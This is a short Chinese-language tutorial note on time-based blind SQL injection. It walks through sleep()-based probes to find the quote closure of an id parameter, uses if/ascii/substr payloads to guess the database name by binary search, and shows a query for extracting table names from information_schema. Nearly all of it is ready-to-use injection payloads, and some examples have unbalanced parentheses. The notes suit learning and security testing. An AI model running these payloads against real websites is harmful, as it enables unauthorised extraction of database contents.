盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行sql注入 盲注分类:布尔盲注、时间盲注、报错盲注 时间盲注:web页面只能返回一个正常的页面。 利用页面响应时间不同,逐个猜解数据 前提是数据库会执行命令代码,只是不反馈页面信息
?id=1' and 1=1
?id=1' and 1=2
没有证真值、假值。都是一样的页面 sleep()函数,参数为休眠时长,以秒为单位,可以为小数
mysql>select sleep();
?id=1 and sleep(3)
因为id=1是数字型的,如果是数字型的页面就会等待3秒出现 页面很快刷新很显然不是数字型 试试双引号闭合
?id=1" and sleep(3)
刷新嘎嘎快,也不是双引号
?id=1' and sleep(3)
页面有明显的延迟,说明是单引号闭合 函数if(condition,true,false) condition为条件,true当条件为真时返回值,false当条件为假时返回的值
mysql>select if(1=1,sleep(0),sleep(3);
1=1为真休眠0秒
mysql>select if(1=2,sleep(0),sleep(3);
1=2为假休眠3秒 猜解第一个字符
mysql>select if(ascii(substr((select database()),1,1))>=100,sleep(0),sleep(3));
如果不理解ascii(),substr()函数可以去sql盲注_布尔盲注
?id=1' and if(ascii(substr((select database()),1,1))>=100,sleep(0),sleep(3))
?id=1' and if(ascii(substr((select database()),1,1))>=110,sleep(0),sleep(3))
?id=1' and if(ascii(substr((select database()),1,1))>=120,sleep(0),sleep(3))
110-120之间
?id=1' and if(ascii(substr((select database()),1,1))>=115,sleep(0),sleep(3))
115-120之间
?id=1' and if(ascii(substr((select database()),1,1))>=117,sleep(0),sleep(3))
115-117之间
?id=1' and if(ascii(substr((select database()),1,1))>=117,sleep(0),sleep(3))
说明应该是115
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(0),sleep(3))
对应ascii表是s 第二个字符(不想写) 查询表
select table_name from information_schema.tables where table_schema=database() limit 0,1;
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>100,sleep(0),sleep(3))
时间盲注闭合符判断
?id=1 and sleep(2)
?id=1' and sleep(2) --+
?id=1') and sleep(2)
?id=1" and sleep(2) --+
?id=1") and sleep(2)
|